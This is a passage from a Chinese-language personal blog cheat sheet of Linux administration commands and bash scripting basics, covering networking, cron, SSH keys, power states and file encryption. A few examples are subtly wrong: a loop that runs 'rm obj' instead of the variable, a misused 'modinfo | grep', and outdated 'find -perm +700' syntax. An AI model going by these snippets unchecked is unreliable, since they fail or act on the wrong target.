# 用于打印用户语言相关的环境变量
locale

# set
# 用于打印所有本地环境变量
set
# env
# 用于打印用户所有的环境变量
env
# export -p用于显示当前所有环境变量
export -p

28、编辑器-gedit/dedit

1
2
3
4
5
# gconf-editor
gedit '文档路径'

# dconf-editor
dedit '文档路径'

29、反汇编-objdump/strings

1
2
3
4
5
6
7
8
9
10
# 反汇编目标文件或者可执行文件的命令 - objdump
# 将二进制文件变得可读的方式展现
objdump -T -C '.so/.a/可执行程序路径'

# 在对象文件或二进制文件中查找可打印的字符串 - strings
strings '.so/.a/可执行程序路径'

# nm可以列举出该目标中定义的符合要求的符号,包括外部引入的、内部定义的、动态的...
# 也可以添加参数使nm同时打印行号、文件名等相关信息。
nm -D '二进制或链接库路径'

30、电源指令-poweroff/shutdown/reboot/Hibernate/suspend/logout/rtcwake
  首先,介绍计算机电源状态S1~S5:

状态 含义 对应字段
S1 普通待机模式(suspend) standby
S2 冻结I/O设备 freeze
S3 待机到内存 mem
S4 待机到硬盘-休眠(hibernate) disk
S5 关机(poweroff/shutdown) off

  当前计算机支持哪些状态都可以在/sys/power/state查到:

1
2
3
# 查阅当前系统支持的休眠模式
cat /sys/power/state
freeze standby mem disk

  想实现进入对应状态,可用以下指令:

1
2
3
4
5
6
7
8
9
10
# 进入S1(可直接输入 suspend)
echo standby > /sys/power/state
# 进入S2
echo freeze > /sys/power/state
# 进入S3
echo mem > /sys/power/state
# 进入S4(可直接输入 hibernate)
echo disk > /sys/power/state
# 进入S5(可直接输入 poweroff或shutdown)
echo off > /sys/power/state

  想实现进入电源状态后定时开机,可以使用rtcwake命令:

1
2
3
4
# -m 代表需要进入的状态
# -s 代表需要唤醒的时间
# -v 可以看到更多的打印信息
sudo rtcwake -m mem -s 20 -v

31、键鼠输入事件监听-libinput

1
2
3
4
5
# 安装
sudo apt install libinput-tools

# 监听键鼠事件
sudo libinput debug-events

32、窗口查看进程-xprop

1
2
# 打开xprop,点击想要查看详情的窗口
xprop

33、多屏查询-xrandr

34、输入输出重定向
  标准输出指的就是显示器,使用”>”,”>>”,”2>”,”&>”能够重新控制输出的设备:

1
2
3
4
5
6
7
8
9
10
# ">" 代表覆盖写入,">>"代表追加写入
echo "字符串" > '文件路径'

# "2>" 代表错误重定向,即将输出到显示器的错误信息重新写入别的文件
# 执行以下命令后,会将搜索结果存放到前个文件中,错误信息存放到后个文件中
find / -name "字符串" > '搜索结果存放文件路径' 2> '错误信息存放文件路径'

# "&>" 代表将正确和错误的输出都写入某个文件
# 执行以下命令后,会将所有结果都存入文件
find / -name "字符串" &> '文件路径'

  输入重定向,有一个从键盘获取信息存入文件的例子,不是很懂

1
2
3
4
5
cat > ok << EOF    #交互式
123
456
EOF #结束符
cat ok

  管道符用于将前一个命令的执行结果作为后一个命令的执行参数

1
2
3
4
5
6
7
# 最常见的用法
cat /etc/passwd |grep "查找字符串"

# 管道符经常配合xargs使用
# 因为很多命令不支持"|"管道符来传递参数,而xargs恰好能将管道或标准输入数据转换成命令行参数,比如:
find /sbin -perm +700 |ls -l #这个命令是错误的
find /sbin -perm +700 |xargs ls -l #这样才是正确的

35、ssh免密码登录

1
2
3
4
5
6
7
# server1:
ssh-keygen 一直回车
ssh-copy-id root@192.168.200.202
# server2验证
cat ~/.ssh/authorized_keys server1的公钥已添加
# server1
ssh root@192.168.200.202 无密码可登录

36、计划任务-cron

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 符号含义
# * 表示该范围内的任意时间
# , 表示间隔的多个不连续时间点,例如,“1,2,5,7,8,9”
# - 表示一个连续的时间范围,例如“2-6”表示“2,3,4,5,6”
# / 指定间隔的时间频率,例如“0-23/2”表示每两小时执行一次
# 示例:周一到周五每天17:00
# 0 17 * * 1-5 bash /home/test.sh

# 添加计划任务
# 第一次使用'-e'指令的时候会选择编辑器
# 打开后写上需要执行的指令即可
crontab -e -u '添加任务的用户名'

# 查看某用户的计划任务列表
crontab -l -u '添加任务的用户名'

# 任务计划表存储路径
# 适用于所有用户 - /var/spool/cron/crontab
# 适用于单个用户 - /var/spool/cron/crontabs/'用户名'
# 适用于所有用户(系统目录) - /etc/cron.d/'任务名'
# /etc/cron.daily/'任务名'
# /etc/cron.deny/'任务名'
# /etc/cron.hourly/'任务名'
# /etc/cron.weekly/'任务名'
# /etc/cron.monthly/'任务名'

37、网络配置-nmcli/ifconfig/netstat/route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 网络设备信息
# 可简写为nmcli d show/status
nmcli device show # 详细信息
nmcli device status # 粗略信息

# 网络连接信息
# 可简写为nmcli c show
nmcli connection show

# 网络设备开启/断开
nmcli device connect '设备名' # 连接设备
nmcli device disconnect '设备名' # 断开设备

# 网络连接启动/停止
nmcli connection up '连接配置名' # 连接配置
nmcli connection down '连接配置名' # 断开配置

# 添加网络连接配置
# type类型 ethernet以太网卡,con-name 配置文件名字,ifname 设备名字,connection.autoconnect自动连接,可加可不加,一般都加上
nmcli connection add type 'ethernet' con-name 'ens33' ifname 'ens33' connection.autoconnect 'yes'

# 修改网络连接配置
# +ipv4.dns代表添加一个备选的DNS地址
nmcli connection modify ens33 ipv4.method manual ipv4.addresses 192.168.200.201/24 ipv4.gateway 192.168.200.2 ipv4.dns 114.114.114.114 +ipv4.dns 20.106.0.20 connection.autoconnect yes

# 修改网络连接配置-一个网卡多添加一个ip地址
nmcli connection modify ens33 ipv4.method manual +ipv4.addresses 10.0.0.1/24

# 重启网络服务
systemctl restart NetworkManager

# 临时配置网络IP地址
# 用这个方法恢复 nmcli c down '连接配置名',再次up
ifconfig '连接配置名' 192.168.200.201/24

# 查看本机网络连接状态
# -a (all)显示所有选项,默认不显示LISTEN相关
# -t (tcp)仅显示tcp相关选项
# -n 拒绝显示别名,能显示数字的全部转化成数字。
# -p 显示建立相关链接的程序名
netstat -natp

# 路由表控制
# 添加设置默认网关
route add default gw 'IP地址'

38、驱动管理-insmod/rmmod/lsmod/modinfo

1
2
3
4
5
6
7
8
9
10
11
# insmod - 加载驱动
insmod "驱动路径"

# rmmod - 卸载驱动
rmmod "驱动名"

# lsmod - 打印驱动信息
lsmod |grep "驱动关键字"

# modinfo - 显示内核模块的信息
modinfo |grep ".ko文件路径"

39、命令行运行时间-time

1
2
3
4
5
# 查看命令行运行一条程序花费的时间
# time + "执行的命令"
time ping 10.10.10.10
# 以秒为单位显示
time -p ping 10.10.10.10

40 md5校验 - md5sum

1
2
# 查看文件是否被更改,其实只需要看它的md5值就行
md5sum '文件路径'

41、内建操作 - type/enable

1
2
3
4
5
6
7
8
9
# 查看命令是否是shell内建
$ type -a kill
kill 是 shell 内建
kill 是 /bin/kill

# enable命令用于启动或关闭shell内建指令
# -n  关闭指定的shell内建指令
# enable 显示所有内建指令
$ enable -n kill

42、设置别名 - alias

1
2
3
4
5
# alias命令用于设置指令的别名
# 用法: alias[别名]=[指令名称]
$ alias lx=ls
$ lx
anaconda-ks.cfg Desktop install.log install.log.syslog qte

43、文件加密 - tar + openssl + dd

1
2
3
4
5
# 加密文件/文件夹
tar -zcf - '文件/文件夹名' |openssl des3 -salt -k '密码' | dd of='输出文件名'

# 解密文件/文件夹
dd if='加密文件名' |openssl des3 -d -k '密码' | tar zxf -

44、文本处理 - awk

1
2
# 截取ps获得结果的第二个字符串,以空格分隔
ps -ef |grep serv | grep -v grep | awk '{print $2}' 2>/dev/null

45、去除符号信息 - strip

1
2
# 从特定文件中剥掉一些符号信息和调试信息,使文件变小以及防止反编译
strip '可执行文件路径'

46、动态库配置 - ldconfig
linux环境下,运行时库默认会搜寻/lib和/usr/lib。但是除此之外还有一个配置文件/etc/ld.so.conf与配置文件夹/etc/ld.so.conf.d能设置除上述两个路径之外的库文件,其配置更新的命令就是ldconfig:

1
2
3
4
5
6
# 使用方法
# 首先修改/etc/ld.so.conf或在/etc/ld.so.conf.d/目录添加新文件
# 然后执行ldconfig,更新缓存文件/etc/ld.so.cache
$ ldconfig

# 注意,ldconfig做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L就得加,不要混淆了。

47、内核审计管理 - auditctl
使用auditctl命令可以对内核中的审计系统进行控制,可以用来获取audit状态和添加/删除audit规则:

1
2
3
4
5
# 报告内核的审计子系统状态
auditctl -s

# 列出所有audit规则
auditctl -l

48、防火墙管理 - iptables
iptables的主要功能是实现对网络数据包进出设备及转发的控制:

1
2
# 查看iptables列表
iptables -L

49、进程间通信信息 - ipcs
多进程间通信常用的技术手段包括共享内存、消息队列、信号量,他们均可使用ipcs命令查看

1
2
3
4
5
6
7
# 信号量查询
# 进程间通信时需要调用semget函数创建,系统支持的最大信号量可通过下述命令查看(第四个值)
cat /proc/sys/kernel/sem
# 通过ipcs命令查询具体的信号量
ipcs
# 删除semid为0的信号量
ipcrm -s 0

50、远程端口查询 - telnet
查看远程IP的某个端口是否存活,可以使用telnet命令:

1
2
3
4
5
6
7
8
9
10
# 端口未打开
$ telnet 101.199.97.65 62715
Trying 101.199.97.65...
telnet: connect to address 101.199.97.65: Connection refused

# 端口已打开
$ telnet 101.199.97.65 62715
Trying 101.199.97.65...
Connected to 101.199.97.65.
Escape character is '^]'.

51、换行符格式转换 - dos2unix/unix2dos
windows的换行符为CR LF(\r\n),linux的换行符为LF(\n),使用dos2unix/unix2dos命令可方便地转换:

1
2
3
4
5
# CR LF -> LF
dos2unix '文件路径'

# LF -> CR LF
unix2dos '文件路径'

52、修改二进制rpath - chrpath/patchelf
可以直接修改二进制库的rpath

1
2
3
4
5
6
7
8
9
10
11
# 查看rpath
readelf -d '二进制文件路径'

# 修改rpath
chrpath -r 'rpath路径' '二进制文件路径'

# 如果库没有rpath属性,可以使用patchelf添加
patchelf --set-rpath 'rpath路径' '二进制文件路径'

# 为elf添加链接动态库
patchelf --add-needed '.so路径'

53、数据包截获 - tcpdump
网络数据采集分析工具

1
2
# 截获来自某IP的数据包
$ tcpdump host 'IP地址'

54、不挂起 - nohup
由终端拉起的进程,即使终端退出也不杀死进程

1
2
# 示例
$ nohup ./exec &

0x04 Linux Shell命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1 首行指令
2 变量声明
3 常用表达式
4 文件生成
5 命令执行
6 后台运行
7 脚本调用
8 流程语句
9 交互语句
10 数组运算
11 系统判断
12 守护进程
13 文件操作
14 杀死进程
15 参数传递
16 去除别名
17 随机数生成
18 字符串分割

1、首行指令
首行指令用于声明使用的终端:

1
#!/bin/bash

2、变量声明
注意’=’左右不能有空格

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
VAR=123
echo $VAR

# 变量简单处理
${arg#*/} 删掉第一个 / 及其左边的字符串
${arg##*/} 删掉最后一个 / 及其左边的字符串
${arg#*.} 删掉第一个 . 及其左边的字符串
${arg##*.} 删掉最后一个 . 及其左边的字符串
${arg%/*} 删掉最后一个 / 及其右边的字符串
${arg%%/*} 删掉第一个 / 及其右边的字符串
${arg%.*} 删掉最后一个 . 及其右边的字符串
${arg%%.*} 删掉第一个 . 及其右边的字符串

3、常用表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 文件表达式
-e filename 如果 filename存在,则为真
-d filename 如果 filename为目录,则为真
-f filename 如果 filename为常规文件,则为真
-L filename 如果 filename为符号链接,则为真
-r filename 如果 filename可读,则为真
-w filename 如果 filename可写,则为真
-x filename 如果 filename可执行,则为真
-s filename 如果文件长度不为0,则为真
-h filename 如果文件是软链接,则为真
filename1 -nt filename2 如果 filename1比 filename2新,则为真。
filename1 -ot filename2 如果 filename1比 filename2旧,则为真。
# 举例 - 若不存在文件夹则新建
if [ ! -d "./XXX" ]; then
mkdir ./XXX
fi

# 整数(字符串)变量表达式
-eq 等于
-ne 不等于
-gt 大于
-ge 大于等于
-lt 小于
-le 小于等于
# 例子
if [ 1 -eq 1 ]
if [ "1" -eq "1" ]

# 字符串变量表达式
if [ $string1 == $string2 ] # 如果string1等于string2,则为真
if [ "$string1" == "$string2" ] # 可以加引号
if [ $string1 != $string2 ] # 如果string1不等于string2,则为真
if [ -n $string ] # 如果string 非空(非0),返回0(true)
if [ -z $string ] # 如果string 为空,则为真
if [ $sting ] # 如果string 非空,返回0 (和-n类似)

# 逻辑表达式
if [ ! 表达式 ] # 逻辑非 !
if [ 表达式1 –a 表达式2 ] # 逻辑与 -a
if [ 表达式1 –o 表达式2 ] # 逻辑或 -o

# 异常忽略
if [[ 1 -lt $string ]] # 当string变量不存在时,不会报错

4、文件生成

1
2
3
4
#!/bin/bash
echo "#!/bin/bash" > ./test.sh # '>' 代表覆盖写入
echo "VAR=111" >> ./test.sh # '>>' 代表追加写入
echo "echo \$VAR" >> ./test.sh # 记得字符串里的特殊符号前要加转义符'\'

5、命令执行
命令执行使用 ‘ ` ‘ 符号包含,将返回的打印结果赋给左值:

1
2
3
#!/bin/bash
PROC=`ps -ef |grep serv | grep -v grep | awk '{print $2}' 2>/dev/null`
echo $PROC

6、后台运行
添加&运行后,在当前终端可以继续执行其他的命令

1
2
#!/bin/bash
./'可执行程序名' &

7、脚本调用
脚本调用有三种方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 方法一: fork
# 新开子shell执行脚本,继承父shell环境变量,但子shell环境变量不会带回父shell
./child.sh

# 方法二: exec
# 在父shell中执行,但父shell中 exec 行之后的内容就不会再执行了
echo "run1"
exec ./child.sh
echo "run2" # 不在执行

# 方法三: source
# 在父shell中执行,父shell中 source 行之后的内容继续执行(环境变量共用,相当于合并脚本)
echo "run1"
source ./child.sh
echo "run2" # 继续执行

8、流程语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# if语句
if condition1
then
command1
elif condition2
then
command2
else
commandN
fi

# for语句
for var in item1 item2 ... itemN
do
command
done

# while语句
while condition
do
command
done

# case语句
case 值 in
值1)
command
;;
值2)
command
;;
esac

9、交互语句

1
2
3
4
5
6
7
8
9
10
11
12
read -p "If you need clean(Y/n):" clean
case ${clean} in
Y | y)
# clean语句
;;
N | n)
# 跳过
;;
*)
# 默认语句
;;
esac

10、数组运算

1
2
3
4
5
6
7
8
9
10
11
12
A=(a b c def)
${A[@]} 或 ${A[*]} 可得到 a b c def (全部组数)
${A[0]} 可得到 a (第一个组数),${A[1]} 则为第二个组数...
${#A[@]} 或 ${#A[*]} 可得到 4 (全部组数数量)
${#A[0]} 可得到 1 (即第一个组数(a)的长度),${#A[3]} 可得到 3 (第四个组数(def)的长度)

# 举例 - 删除数组中的文件
objs=(./A ./B ./C)
for obj in ${objs[@]}
do
rm obj
done

11、系统判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if [[ "$OSTYPE" == "linux-gnu" ]]; then
if [ -f /etc/redhat-release ]; then
echo "Redhat Linux detected."
elif [ -f /etc/SuSE-release ]; then
echo "Suse Linux detected."
elif [ -f /etc/arch-release ]; then
echo "Arch Linux detected."
elif [ -f /etc/mandrake-release ]; then
echo "Mandrake Linux detected."
elif [ -f /etc/debian_version ]; then
echo "Ubuntu/Debian Linux detected."
elif [ "`cat /proc/version | tr 'A-Z' 'a-z' | grep kylin`" != "" ]; then
echo "Kylin Linux detected."
elif [ "`cat /proc/version | tr 'A-Z' 'a-z' | grep linx`" != "" ]; then
echo "ningsi Linux detected."
elif [ "`cat /proc/version | tr 'A-Z' 'a-z' | grep uos`" != "" ]; then
echo "UOS Linux detected."
else
echo "Unknown Linux distribution."
fi
elif [[ "$OSTYPE" == "darwin"* ]]; then
echo "Mac OS (Darwin) detected."
elif [[ "$OSTYPE" == "freebsd"* ]]; then
echo "FreeBSD detected."
else
echo "Unknown operating system."
fi

12、守护进程

1
2
3
4
5
6
7
8
9
while true;
do
server=`ps aux | grep test| grep -v grep`
if [ ! "$server" ]; then
cd '进程目录'
./'进程名' &
fi
sleep 5
done

13、文件操作

1
2
3
4
5
6
7
8
# 读取文件某key对应的value
id=`sed '/^ID=/!d;s/.*=//' '文件路径'`
echo $id

# 字符串全局替换 ,代表分割符(也可以用'/' 但是容易与路径混淆) g代表替换所有(不加代表替换第一个找到的)
sed -i "s,'被替换项','替换项',g" '文件路径'
# 字符串全局整行替换
sed -i "s,^'被替换项'.*$,'替换项',g" '文件路径'

14、杀死进程

1
2
3
4
5
# 在shell脚本中杀死某进程名的进程
ps -efww |grep -w '进程名' |grep -v grep |cut -c 9-15 |xargs kill -9

# 在shell脚本中杀死脚本本身
exit

15、参数传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
echo "执行的文件名: $0";
echo "第一个参数为: $1";
echo "第二个参数为: $2";

# 配合使用shift可移动参数
# 执行shift之后第二个参数会变成第一个参数
shift

echo "传递到脚本的参数个数: $#";

echo "脚本运行的当前进程ID号: $$";

echo "后台运行的最后一个进程的ID号: $!";

echo "显示Shell使用的当前选项: $-";

echo "上个命令的退出状态(0表示没有错误): $?";

while getopts 'h:j:m:u' OPT; do
case $OPT in
j) S_DIR="$OPTARG" # $OPTARG代表具体参数
;;
h|\?) show_help # 写一个打印help函数
;;
esac
done

16、去除别名

1
2
3
# 在指令前加上反斜杠,可以忽略掉 alias 的指定选项。
# 可保证输出在各个系统中一致。比如
\rm '文件路径'

17、随机数生成

1
2
3
4
5
6
7
# 生成数组中的某个数
a=({5..9})
ITEM=$(($RANDOM % ${#a[@]}))
echo $ITEM

# 生成32位随机数
echo $RANDOM | md5sum | cut -c 1-32

18、字符串分割

1
2
3
4
5
6
7
#!/bin/bash
string="hello,shell,split,test"
array=(${string//,/ })
for var in ${array[@]}
do
echo $var
done

0x05 Linux系统日志系统

历史记录

命令 功能
last | grep reboot 查看重启的命令
history 历史终端操作
history -c 删除历史终端操作

查看文件

命令 功能
tail -f /var/log/* 实时查看那个文件
cat /var/log/message 查看那个文件
  • Linux 工具
Windows内核开发-开发工具
操作系统安装(待完成)
  1. 1. 0x00 引言
  2. 2. 0x01 Vim
  3. 3. 0x02 Linux系统运维常用工具
  4. 4. 0x03 Linux系统开发常用工具
  5. 5. 0x04 Linux Shell命令
  6. 6. 0x05 Linux系统日志系统
© 2023 JailbreakFox by Hexo
本站总访问量15679次
  • Articles
  • Change The World
  • About me

tag:

  • 计算机基础
  • 计算机技术
  • Linux 工具
  • 视觉,应用, AI
  • 工具
  • 计算机技术,Linux
  • 内核
  • Linux 计算机技术
  • 计算机技术 Linux
  • 计算机技术,Linux内核
  • 机器学习,神经网络,算法
  • Linux
  • 机器人
  • pytorch,神经网络,机器学习
  • 强化学习,算法
  • 计算机技术 黑客技术
  • 工具, 信息聚合
  • 数据库
  • 计算机技术,编译工具
  • 食物 茶
  • 工具,流
  • 游戏设计,游戏AI,入门
  • 信息安全技术
  • 配置
  • 视觉,入门
  • 数字货币 区块链
  • 远程桌面, 工具
  • 计算机技术,打包工具
  • 技巧

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置:

      jsonContent:
        meta: false
        pages: false
        posts:
          title: true
          date: true
          path: true
          text: false
          raw: false
          content: false
          slug: false
          updated: false
          comments: false
          link: false
          permalink: false
          excerpt: false
          categories: false
          tags: true
    

  • 卞神
致力于创造风靡全球的机器人

迈向CyberPunk的新世界
Never STOP!